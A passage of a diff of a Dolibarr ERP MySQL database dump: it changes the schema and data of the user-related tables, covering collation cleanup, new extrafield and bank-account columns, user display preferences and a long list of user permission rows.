12:09:28',NULL,NULL,'',1,NULL,NULL,NULL,12,12,12,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'127.0.0.1',NULL,NULL,NULL,NULL,'',NULL); /*!40000 ALTER TABLE `llx_user` ENABLE KEYS */; UNLOCK TABLES; @@ -13422,10 +12522,10 @@ DROP TABLE IF EXISTS `llx_user_clicktodial`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_user_clicktodial` ( `fk_user` int(11) NOT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `login` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `poste` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `url` varchar(255) DEFAULT NULL, + `login` varchar(32) DEFAULT NULL, + `pass` varchar(64) DEFAULT NULL, + `poste` varchar(20) DEFAULT NULL, PRIMARY KEY (`fk_user`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -13449,14 +12549,14 @@ DROP TABLE IF EXISTS `llx_user_employment`; CREATE TABLE `llx_user_employment` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_ext` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, + `ref_ext` varchar(50) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `job` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `job` varchar(128) DEFAULT NULL, `status` int(11) NOT NULL, `salary` double(24,8) DEFAULT NULL, `salaryextra` double(24,8) DEFAULT NULL, @@ -13490,10 +12590,14 @@ CREATE TABLE `llx_user_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `rsapublicmain` text DEFAULT NULL, + `ippublicmain` varchar(255) DEFAULT NULL, + `aaa` varchar(255) DEFAULT NULL, + `news_viewed` int(1) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_user_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=22 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13502,6 +12606,7 @@ CREATE TABLE `llx_user_extrafields` ( LOCK TABLES `llx_user_extrafields` WRITE; /*!40000 ALTER TABLE `llx_user_extrafields` DISABLE KEYS */; +INSERT INTO `llx_user_extrafields` VALUES (1,'2023-02-10 15:56:53',12,NULL,NULL,NULL,NULL,NULL),(2,'2023-02-25 15:00:16',22,NULL,NULL,NULL,NULL,NULL),(6,'2023-02-28 08:49:59',19,NULL,NULL,NULL,NULL,0),(8,'2023-02-28 08:49:59',17,NULL,NULL,NULL,NULL,0),(9,'2023-02-28 08:49:59',4,NULL,NULL,NULL,NULL,0),(10,'2023-02-28 08:49:59',13,NULL,NULL,NULL,NULL,0),(11,'2023-02-28 08:49:59',16,NULL,NULL,NULL,NULL,0),(12,'2023-02-28 08:49:59',2,NULL,NULL,NULL,NULL,0),(13,'2023-02-28 08:49:59',18,NULL,NULL,NULL,NULL,0),(14,'2023-02-28 08:49:59',10,NULL,NULL,NULL,NULL,0),(15,'2023-02-28 08:49:59',3,NULL,NULL,NULL,NULL,0),(16,'2023-02-28 08:49:59',14,NULL,NULL,NULL,NULL,0),(17,'2023-02-28 08:49:59',11,NULL,NULL,NULL,NULL,0),(18,'2023-03-13 11:03:08',29,NULL,NULL,NULL,NULL,NULL),(21,'2023-03-13 11:45:30',1,NULL,NULL,NULL,NULL,0); /*!40000 ALTER TABLE `llx_user_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -13515,8 +12620,8 @@ DROP TABLE IF EXISTS `llx_user_param`; CREATE TABLE `llx_user_param` ( `fk_user` int(11) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `param` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `value` text COLLATE utf8mb3_unicode_ci NOT NULL, + `param` varchar(255) NOT NULL, + `value` text NOT NULL, UNIQUE KEY `uk_user_param` (`fk_user`,`param`,`entity`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -13527,7 +12632,7 @@ CREATE TABLE `llx_user_param` ( LOCK TABLES `llx_user_param` WRITE; /*!40000 ALTER TABLE `llx_user_param` DISABLE KEYS */; -INSERT INTO `llx_user_param` VALUES (1,1,'MAIN_BOXES_0','1'),(1,1,'MAIN_THEME','eldy'),(1,3,'THEME_ELDY_ENABLE_PERSONALIZED','1'),(1,1,'THEME_ELDY_RGB','ded0ed'),(1,3,'THEME_ELDY_RGB','d0ddc3'),(2,1,'MAIN_BOXES_0','1'),(11,1,'MAIN_BOXES_0','1'),(12,1,'MAIN_BOXES_0','1'),(12,1,'MAIN_BOXES_2','1'),(12,1,'MAIN_BOXES_27','1'),(12,1,'MAIN_LANG_DEFAULT','en_US'),(12,1,'MAIN_SELECTEDFIELDS_/dolibarr_4.0/htdocs/adherents/list.php','d.zip,d.ref,d.lastname,d.firstname,d.company,d.login,d.morphy,t.libelle,d.email,d.datefin,d.statut,'),(12,1,'MAIN_SELECTEDFIELDS_emailsenderprofilelist','t.tms,t.label,t.email,t.private,t.position,t.date_creation,t.active,'),(12,1,'MAIN_SELECTEDFIELDS_inventorylist','t.fk_user_creat,t.ref,t.title,t.fk_warehouse,t.fk_product,t.date_inventory,t.fk_user_modif,t.fk_user_valid,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_poslist','f.ref,f.ref_client,f.date,f.date_lim_reglement,p.ref,s.nom,s.town,s.zip,f.total_ht,f.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_productlist','p.ref,p.label,p.barcode,p.sellprice,p.minbuyprice,p.desiredstock,p.stock,stock_virtual,p.tobuy,p.tosell,'),(12,1,'MAIN_SELECTEDFIELDS_proposallist','p.ref,p.ref_client,s.nom,s.zip,country.code_iso,p.date,p.fin_validite,p.total_ht,u.login,p.datec,p.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_servicelist','p.ref,p.label,p.duration,p.sellprice,p.minbuyprice,p.tosell,p.tobuy,'),(12,1,'MAIN_SELECTEDFIELDS_ticketlist','t.origin_email,t.ref,t.fk_user_create,t.subject,t.type_code,t.severity_code,t.fk_soc,t.datec,t.date_read,t.fk_user_assign,t.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_userlist','u.employee,u.login,u.lastname,u.firstname,u.email,u.fk_soc,u.fk_user,u.datelastlogin,u.statut,'); +INSERT INTO `llx_user_param` VALUES (1,1,'MAIN_BOXES_0','1'),(1,1,'MAIN_THEME','eldy'),(1,3,'THEME_ELDY_ENABLE_PERSONALIZED','1'),(1,1,'THEME_ELDY_RGB','ded0ed'),(1,3,'THEME_ELDY_RGB','d0ddc3'),(2,1,'MAIN_BOXES_0','1'),(11,1,'MAIN_BOXES_0','1'),(12,1,'MAIN_BOXES_0','1'),(12,1,'MAIN_BOXES_2','1'),(12,1,'MAIN_BOXES_27','1'),(12,1,'MAIN_LANG_DEFAULT','fr_FR'),(12,1,'MAIN_SELECTEDFIELDS_/dolibarr_4.0/htdocs/adherents/list.php','d.zip,d.ref,d.lastname,d.firstname,d.company,d.login,d.morphy,t.libelle,d.email,d.datefin,d.statut,'),(12,1,'MAIN_SELECTEDFIELDS_accountingaccountlist','categories,aa.account_number,aa.label,aa.labelshort,aa.account_parent,aa.pcg_type,aa.active,aa.import_key,'),(12,1,'MAIN_SELECTEDFIELDS_cashcontrol','t.ref,t.posmodule,t.posnumber,t.opening,t.cash,t.cheque,t.card,t.year_close,t.month_close,t.day_close,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_conferenceorboothlist','t.fk_project,t.ref,t.label,t.fk_soc,t.fk_action,t.datep,t.datep2,t.num_vote,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_customerlist','s.email,s.nom,s.name_alias,s.barcode,s.code_client,s.code_compta,s.zip,s.phone,typent.code,customerorsupplier,s.status,'),(12,1,'MAIN_SELECTEDFIELDS_emailsenderprofilelist','t.tms,t.label,t.email,t.private,t.position,t.date_creation,t.active,'),(12,1,'MAIN_SELECTEDFIELDS_inventorylist','t.fk_user_creat,t.ref,t.title,t.fk_warehouse,t.fk_product,t.date_inventory,t.fk_user_modif,t.fk_user_valid,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_invoicelist','f.ref,f.datef,f.date_lim_reglement,p.ref,s.nom,s.name_alias,s.zip,f.total_ht,f.total_ttc,u.login,f.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_jobpositionlist','t.fk_user_creat,t.rowid,t.date_start,t.date_end,t.fk_user,t.fk_job,'),(12,1,'MAIN_SELECTEDFIELDS_knowledgerecordlist','t.fk_c_ticket_category,t.ref,t.question,t.lang,t.tms,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_lead','p.email_msgid,ef.priority,p.ref,p.title,s.nom,p.dateo,p.datee,p.public,p.fk_opp_status,p.opp_percent,p.opp_amount,p.budget_amount,c.assigned,p.import_key,p.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_molist','t.ref,t.fk_bom,t.mrptype,t.fk_product,t.qty,t.label,t.fk_warehouse,t.date_start_planned,t.date_end_planned,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_partnershippartnershiplist','t.import_key,t.ip,t.reason_decline_or_cancel,t.last_check_backlink,t.count_last_url_check_error,t.entity,t.url_to_check,t.ref,t.fk_type,t.fk_soc,t.date_partnership_start,t.date_partnership_end,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_poslist','f.ref,f.ref_client,f.date,f.date_lim_reglement,p.ref,s.nom,s.town,s.zip,f.total_ht,f.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_productlist','p.numbuyprice,p.ref,p.label,p.barcode,p.sellprice,p.minbuyprice,p.desiredstock,p.stock,stock_virtual,p.tosell,p.tobuy,'),(12,1,'MAIN_SELECTEDFIELDS_projectlist','c.assigned,ef.priority,p.ref,p.title,s.nom,p.dateo,p.datee,p.public,p.fk_opp_status,p.opp_percent,p.opp_amount,p.budget_amount,u.login,p.date_start_event,p.date_end_event,p.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_proposallist','p.ref,p.ref_client,s.nom,s.zip,country.code_iso,p.date,p.fin_validite,p.total_ht,u.login,p.datec,p.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_servicelist','p.ref,p.label,p.duration,p.sellprice,p.minbuyprice,p.tosell,p.tobuy,'),(12,1,'MAIN_SELECTEDFIELDS_targetlist','t.trigger_codes,t.ref,t.label,t.url,t.status,'),(12,1,'MAIN_SELECTEDFIELDS_thirdpartylist','staff.code,s.nom,s.name_alias,s.barcode,s.code_client,s.zip,s.email,s.phone,typent.code,customerorsupplier,s.status,'),(12,1,'MAIN_SELECTEDFIELDS_ticketlist','t.origin_email,t.ref,t.fk_user_create,t.subject,t.type_code,t.severity_code,t.fk_soc,t.datec,t.date_read,t.fk_user_assign,t.fk_statut,'),(12,1,'MAIN_SELECTEDFIELDS_userlist','u.api_key,u.login,u.lastname,u.firstname,u.employee,u.fk_user,u.email,u.fk_soc,u.job,u.datelastlogin,u.statut,'); /*!40000 ALTER TABLE `llx_user_param` ENABLE KEYS */; UNLOCK TABLES; @@ -13544,19 +12649,22 @@ CREATE TABLE `llx_user_rib` ( `entity` int(11) NOT NULL DEFAULT 1, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bank` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_banque` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_guichet` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `number` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cle_rib` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bic` varchar(11) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `iban_prefix` varchar(34) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `domiciliation` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `proprio` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `owner_address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(30) DEFAULT NULL, + `bank` varchar(255) DEFAULT NULL, + `code_banque` varchar(128) DEFAULT NULL, + `code_guichet` varchar(6) DEFAULT NULL, + `number` varchar(255) DEFAULT NULL, + `cle_rib` varchar(5) DEFAULT NULL, + `bic` varchar(11) DEFAULT NULL, + `iban_prefix` varchar(34) DEFAULT NULL, + `domiciliation` varchar(255) DEFAULT NULL, + `proprio` varchar(60) DEFAULT NULL, + `owner_address` varchar(255) DEFAULT NULL, + `state_id` int(11) DEFAULT NULL, + `fk_country` int(11) DEFAULT NULL, + `currency_code` varchar(3) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13584,7 +12692,7 @@ CREATE TABLE `llx_user_rights` ( UNIQUE KEY `uk_user_rights` (`entity`,`fk_user`,`fk_id`), KEY `fk_user_rights_fk_user_user` (`fk_user`), CONSTRAINT `fk_user_rights_fk_user_user` FOREIGN KEY (`fk_user`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=21555 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=24049 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13593,7 +12701,7 @@ CREATE TABLE `llx_user_rights` ( LOCK TABLES `llx_user_rights` WRITE; /*!40000 ALTER TABLE `llx_user_rights` DISABLE KEYS */; -INSERT INTO `llx_user_rights` VALUES (12402,1,1,11),(12380,1,1,12),(12385,1,1,13),(12389,1,1,14),(12393,1,1,15),(12398,1,1,16),(12404,1,1,19),(9726,1,1,21),(9700,1,1,22),(9706,1,1,24),(9711,1,1,25),(9716,1,1,26),(9722,1,1,27),(9728,1,1,28),(9978,1,1,31),(9968,1,1,32),(9974,1,1,34),(1910,1,1,36),(9980,1,1,38),(11573,1,1,41),(11574,1,1,42),(11575,1,1,44),(11576,1,1,45),(7184,1,1,61),(7181,1,1,62),(7183,1,1,64),(7185,1,1,67),(7186,1,1,68),(1678,1,1,71),(1673,1,1,72),(1675,1,1,74),(1679,1,1,75),(1677,1,1,76),(1681,1,1,78),(1682,1,1,79),(12322,1,1,81),(12309,1,1,82),(12312,1,1,84),(12314,1,1,86),(12317,1,1,87),(12320,1,1,88),(12323,1,1,89),(11580,1,1,91),(11581,1,1,92),(11582,1,1,93),(11583,1,1,94),(10097,1,1,95),(10099,1,1,96),(10103,1,1,97),(10104,1,1,98),(7139,1,1,101),(7134,1,1,102),(7136,1,1,104),(7137,1,1,105),(7138,1,1,106),(7140,1,1,109),(10229,1,1,111),(10201,1,1,112),(10207,1,1,113),(10213,1,1,114),(10219,1,1,115),(10225,1,1,116),(10231,1,1,117),(12518,1,1,121),(12508,1,1,122),(12514,1,1,125),(12520,1,1,126),(11577,1,1,141),(11578,1,1,142),(11579,1,1,144),(2307,1,1,151),(2304,1,1,152),(2306,1,1,153),(2308,1,1,154),(10092,1,1,161),(10093,1,1,162),(10094,1,1,163),(10095,1,1,164),(10096,1,1,165),(1585,1,1,170),(12342,1,1,171),(12331,1,1,172),(12335,1,1,173),(12339,1,1,174),(12343,1,1,178),(10000,1,1,221),(9990,1,1,222),(9996,1,1,223),(10002,1,1,229),(10007,1,1,237),(10011,1,1,238),(10015,1,1,239),(1686,1,1,241),(1685,1,1,242),(1687,1,1,243),(12604,1,1,251),(12566,1,1,252),(12569,1,1,253),(12572,1,1,254),(12575,1,1,255),(12579,1,1,256),(1617,1,1,258),(12525,1,1,262),(12544,1,1,281),(12534,1,1,282),(12540,1,1,283),(12546,1,1,286),(12288,1,1,300),(12290,1,1,301),(11591,1,1,302),(1763,1,1,331),(1762,1,1,332),(1764,1,1,333),(12582,1,1,341),(12584,1,1,342),(12586,1,1,343),(12588,1,1,344),(12600,1,1,351),(12593,1,1,352),(12597,1,1,353),(12601,1,1,354),(12605,1,1,358),(12560,1,1,531),(12553,1,1,532),(12557,1,1,534),(1625,1,1,536),(12561,1,1,538),(12358,1,1,700),(12348,1,1,701),(12354,1,1,702),(12360,1,1,703),(1755,1,1,1001),(1754,1,1,1002),(1756,1,1,1003),(1758,1,1,1004),(1759,1,1,1005),(7146,1,1,1101),(7143,1,1,1102),(7145,1,1,1104),(7147,1,1,1109),(12412,1,1,1181),(12458,1,1,1182),(12417,1,1,1183),(12420,1,1,1184),(12423,1,1,1185),(12427,1,1,1186),(12431,1,1,1187),(12437,1,1,1188),(12434,1,1,1189),(1578,1,1,1201),(1579,1,1,1202),(12454,1,1,1231),(12443,1,1,1232),(12446,1,1,1233),(12449,1,1,1234),(12452,1,1,1235),(12455,1,1,1236),(12459,1,1,1237),(1736,1,1,1251),(12409,1,1,1321),(12326,1,1,1421),(8190,1,1,1791),(8187,1,1,1792),(8191,1,1,1793),(12264,1,1,2401),(12260,1,1,2402),(12266,1,1,2403),(12280,1,1,2411),(12276,1,1,2412),(12282,1,1,2413),(12286,1,1,2414),(1618,1,1,2500),(12370,1,1,2501),(12367,1,1,2503),(12371,1,1,2515),(9610,1,1,5001),(9611,1,1,5002),(12490,1,1,20001),(12474,1,1,20003),(12480,1,1,20004),(12486,1,1,20005),(12492,1,1,20006),(12302,1,1,23001),(12295,1,1,23002),(12299,1,1,23003),(12303,1,1,23004),(7701,1,1,50101),(4984,1,1,50401),(4983,1,1,50402),(4985,1,1,50403),(4987,1,1,50411),(4988,1,1,50412),(4989,1,1,50415),(12498,1,1,55001),(12499,1,1,55002),(3564,1,1,100700),(3565,1,1,100701),(9596,1,1,101051),(9598,1,1,101052),(9600,1,1,101053),(9604,1,1,101060),(9605,1,1,101061),(7177,1,1,101201),(7178,1,1,101202),(10353,1,1,101250),(10355,1,1,101251),(8980,1,1,101261),(8981,1,1,101262),(7616,1,1,101331),(10030,1,1,101701),(10031,1,1,101702),(3582,1,1,102000),(3583,1,1,102001),(9819,1,1,400051),(9823,1,1,400052),(9827,1,1,400053),(9831,1,1,400055),(132,1,2,11),(133,1,2,12),(134,1,2,13),(135,1,2,14),(136,1,2,16),(137,1,2,19),(138,1,2,21),(139,1,2,22),(140,1,2,24),(141,1,2,25),(142,1,2,26),(143,1,2,27),(10359,1,2,31),(145,1,2,32),(10361,1,2,34),(146,1,2,36),(147,1,2,41),(148,1,2,42),(149,1,2,44),(150,1,2,61),(151,1,2,62),(152,1,2,64),(153,1,2,71),(154,1,2,72),(155,1,2,74),(156,1,2,75),(157,1,2,78),(158,1,2,79),(159,1,2,81),(160,1,2,82),(161,1,2,84),(162,1,2,86),(163,1,2,87),(164,1,2,88),(165,1,2,89),(166,1,2,91),(167,1,2,92),(168,1,2,93),(2475,1,2,95),(2476,1,2,96),(2477,1,2,97),(2478,1,2,98),(169,1,2,101),(170,1,2,102),(171,1,2,104),(172,1,2,109),(173,1,2,111),(174,1,2,112),(175,1,2,113),(176,1,2,114),(177,1,2,116),(178,1,2,117),(179,1,2,121),(180,1,2,122),(181,1,2,125),(182,1,2,141),(183,1,2,142),(184,1,2,144),(2479,1,2,151),(2480,1,2,152),(2481,1,2,153),(2482,1,2,154),(185,1,2,161),(186,1,2,162),(187,1,2,163),(188,1,2,164),(189,1,2,165),(190,1,2,170),(2471,1,2,171),(192,1,2,172),(2472,1,2,173),(193,1,2,221),(194,1,2,222),(195,1,2,229),(196,1,2,241),(197,1,2,242),(198,1,2,243),(199,1,2,251),(201,1,2,262),(202,1,2,281),(203,1,2,282),(204,1,2,283),(205,1,2,331),(15072,1,2,510),(2483,1,2,531),(207,1,2,532),(2484,1,2,534),(208,1,2,536),(2473,1,2,700),(210,1,2,701),(211,1,2,702),(2474,1,2,703),(15064,1,2,771),(15057,1,2,772),(15059,1,2,773),(15061,1,2,774),(15063,1,2,775),(15065,1,2,776),(212,1,2,1001),(213,1,2,1002),(214,1,2,1003),(215,1,2,1004),(216,1,2,1005),(217,1,2,1101),(218,1,2,1102),(219,1,2,1104),(220,1,2,1109),(15073,1,2,1121),(15074,1,2,1122),(15075,1,2,1123),(15076,1,2,1124),(15077,1,2,1125),(15078,1,2,1126),(221,1,2,1181),(222,1,2,1182),(223,1,2,1183),(224,1,2,1184),(225,1,2,1185),(226,1,2,1186),(227,1,2,1187),(228,1,2,1188),(229,1,2,1201),(230,1,2,1202),(231,1,2,1231),(232,1,2,1232),(233,1,2,1233),(234,1,2,1234),(235,1,2,1421),(236,1,2,2401),(237,1,2,2402),(238,1,2,2403),(239,1,2,2411),(240,1,2,2412),(241,1,2,2413),(242,1,2,2500),(2470,1,2,2501),(243,1,2,2515),(10363,1,2,20001),(10365,1,2,20003),(10366,1,2,20004),(10367,1,2,20005),(10368,1,2,20006),(15054,1,2,23001),(10362,1,2,50101),(15067,1,2,55001),(15066,1,2,59001),(15068,1,2,63001),(15069,1,2,63002),(15070,1,2,63003),(15071,1,2,63004),(10372,1,2,101250),(1807,1,3,11),(1808,1,3,31),(1809,1,3,36),(1810,1,3,41),(1811,1,3,61),(1812,1,3,71),(1813,1,3,72),(1814,1,3,74),(1815,1,3,75),(1816,1,3,78),(1817,1,3,79),(1818,1,3,91),(1819,1,3,95),(1820,1,3,97),(1821,1,3,111),(1822,1,3,121),(1823,1,3,122),(1824,1,3,125),(1825,1,3,161),(1826,1,3,170),(1827,1,3,171),(1828,1,3,172),(1829,1,3,221),(1830,1,3,222),(1831,1,3,229),(1832,1,3,241),(1833,1,3,242),(1834,1,3,243),(1835,1,3,251),(1836,1,3,255),(1837,1,3,256),(1838,1,3,262),(1839,1,3,281),(1840,1,3,282),(1841,1,3,283),(1842,1,3,331),(1843,1,3,531),(1844,1,3,536),(1845,1,3,700),(1846,1,3,1001),(1847,1,3,1002),(1848,1,3,1003),(1849,1,3,1004),(1850,1,3,1005),(1851,1,3,1181),(1852,1,3,1182),(1853,1,3,1201),(1854,1,3,1202),(1855,1,3,1231),(1856,1,3,2401),(1857,1,3,2402),(1858,1,3,2403),(1859,1,3,2411),(1860,1,3,2412),(1861,1,3,2413),(1862,1,3,2500),(1863,1,3,2515),(8026,1,4,11),(8027,1,4,21),(8028,1,4,31),(8029,1,4,41),(8030,1,4,61),(8031,1,4,71),(8032,1,4,72),(8033,1,4,74),(8034,1,4,75),(8035,1,4,78),(8036,1,4,79),(8037,1,4,81),(8038,1,4,91),(8039,1,4,95),(8040,1,4,97),(8041,1,4,101),(8042,1,4,111),(8043,1,4,121),(8044,1,4,151),(8045,1,4,161),(8046,1,4,171),(8047,1,4,221),(8048,1,4,222),(8049,1,4,229),(8050,1,4,241),(8051,1,4,242),(8052,1,4,243),(8146,1,4,251),(8147,1,4,253),(8053,1,4,262),(8054,1,4,281),(8055,1,4,331),(8056,1,4,341),(8057,1,4,342),(8058,1,4,343),(8059,1,4,344),(8060,1,4,531),(8061,1,4,700),(8062,1,4,1001),(8063,1,4,1002),(8064,1,4,1003),(8065,1,4,1004),(8066,1,4,1005),(8067,1,4,1101),(8068,1,4,1181),(8069,1,4,1182),(8070,1,4,1201),(8071,1,4,1202),(8072,1,4,1231),(8073,1,4,2401),(8074,1,4,2501),(8075,1,4,2503),(8076,1,4,2515),(8077,1,4,20001),(8078,1,4,50101),(8079,1,4,101201),(8080,1,4,101261),(8081,1,4,102000),(8082,1,4,400051),(8083,1,4,400052),(8084,1,4,400053),(8085,1,4,400055),(12608,1,10,11),(12609,1,10,21),(12610,1,10,31),(12611,1,10,41),(12612,1,10,61),(12613,1,10,71),(12614,1,10,72),(12615,1,10,74),(12616,1,10,75),(12617,1,10,78),(12618,1,10,79),(12619,1,10,81),(12620,1,10,91),(12621,1,10,95),(12622,1,10,97),(12623,1,10,101),(12624,1,10,111),(12625,1,10,121),(12626,1,10,151),(12627,1,10,161),(12628,1,10,171),(12629,1,10,221),(12630,1,10,222),(12631,1,10,229),(12632,1,10,241),(12633,1,10,242),(12634,1,10,243),(12635,1,10,262),(12636,1,10,281),(12637,1,10,300),(12638,1,10,331),(12639,1,10,341),(12640,1,10,342),(12641,1,10,343),(12642,1,10,344),(12643,1,10,531),(12644,1,10,700),(12645,1,10,1001),(12646,1,10,1002),(12647,1,10,1003),(12648,1,10,1004),(12649,1,10,1005),(12650,1,10,1101),(12651,1,10,1181),(12652,1,10,1182),(12653,1,10,1201),(12654,1,10,1202),(12655,1,10,1231),(12656,1,10,2401),(12657,1,10,2501),(12658,1,10,2503),(12659,1,10,2515),(12660,1,10,20001),(12662,1,10,23001),(12663,1,10,50101),(12664,1,11,11),(12665,1,11,21),(12666,1,11,31),(12667,1,11,41),(12668,1,11,61),(12669,1,11,71),(12670,1,11,72),(12671,1,11,74),(12672,1,11,75),(12673,1,11,78),(12674,1,11,79),(12675,1,11,81),(12676,1,11,91),(12677,1,11,95),(12678,1,11,97),(12679,1,11,101),(12680,1,11,111),(12681,1,11,121),(12682,1,11,151),(12683,1,11,161),(12684,1,11,171),(12685,1,11,221),(12686,1,11,222),(12687,1,11,229),(12688,1,11,241),(12689,1,11,242),(12690,1,11,243),(12691,1,11,262),(12692,1,11,281),(12693,1,11,300),(12694,1,11,331),(12695,1,11,341),(12696,1,11,342),(12697,1,11,343),(12698,1,11,344),(12699,1,11,531),(12700,1,11,700),(12701,1,11,1001),(12702,1,11,1002),(12703,1,11,1003),(12704,1,11,1004),(12705,1,11,1005),(12706,1,11,1101),(12707,1,11,1181),(12708,1,11,1182),(12709,1,11,1201),(12710,1,11,1202),(12711,1,11,1231),(12712,1,11,2401),(12713,1,11,2501),(12714,1,11,2503),(12715,1,11,2515),(12716,1,11,20001),(12718,1,11,23001),(12719,1,11,50101),(21411,1,12,11),(21405,1,12,12),(21406,1,12,13),(21407,1,12,14),(21408,1,12,15),(21410,1,12,16),(21412,1,12,19),(14146,1,12,21),(14135,1,12,22),(14137,1,12,24),(14139,1,12,25),(14142,1,12,26),(14145,1,12,27),(14148,1,12,28),(14930,1,12,31),(14926,1,12,32),(14929,1,12,34),(14932,1,12,38),(13816,1,12,41),(13813,1,12,42),(13815,1,12,44),(13817,1,12,45),(14094,1,12,61),(14091,1,12,62),(14093,1,12,64),(14095,1,12,67),(14096,1,12,68),(16203,1,12,71),(16198,1,12,72),(16200,1,12,74),(16204,1,12,75),(16202,1,12,76),(16206,1,12,78),(16207,1,12,79),(21375,1,12,81),(21370,1,12,82),(21371,1,12,84),(21372,1,12,86),(21373,1,12,87),(21374,1,12,88),(21376,1,12,89),(15401,1,12,91),(15397,1,12,92),(15400,1,12,93),(15403,1,12,94),(13990,1,12,95),(12734,1,12,97),(19241,1,12,101),(19237,1,12,102),(19238,1,12,104),(19239,1,12,105),(19240,1,12,106),(19242,1,12,109),(21357,1,12,111),(21348,1,12,112),(21350,1,12,113),(21352,1,12,114),(21354,1,12,115),(21356,1,12,116),(21358,1,12,117),(21498,1,12,121),(21495,1,12,122),(21497,1,12,125),(21499,1,12,126),(21500,1,12,130),(13821,1,12,141),(13820,1,12,142),(13822,1,12,144),(13912,1,12,151),(13909,1,12,152),(13911,1,12,153),(13913,1,12,154),(14063,1,12,161),(14056,1,12,162),(14058,1,12,163),(14060,1,12,164),(14062,1,12,165),(14064,1,12,167),(13350,1,12,171),(13345,1,12,172),(13347,1,12,173),(13349,1,12,174),(13351,1,12,178),(13838,1,12,221),(13834,1,12,222),(13837,1,12,223),(13840,1,12,229),(13842,1,12,237),(13844,1,12,238),(13846,1,12,239),(13516,1,12,241),(13515,1,12,242),(13517,1,12,243),(21539,1,12,251),(21520,1,12,252),(21522,1,12,253),(21523,1,12,254),(21525,1,12,255),(21527,1,12,256),(21501,1,12,262),(21507,1,12,281),(21504,1,12,282),(21506,1,12,283),(21508,1,12,286),(19877,1,12,300),(21359,1,12,301),(21360,1,12,302),(16194,1,12,331),(16193,1,12,332),(16195,1,12,333),(21528,1,12,341),(21529,1,12,342),(21530,1,12,343),(21531,1,12,344),(21537,1,12,351),(21534,1,12,352),(21536,1,12,353),(21538,1,12,354),(21540,1,12,358),(19249,1,12,430),(16384,1,12,501),(16378,1,12,502),(13865,1,12,510),(21484,1,12,511),(21479,1,12,512),(21481,1,12,514),(2148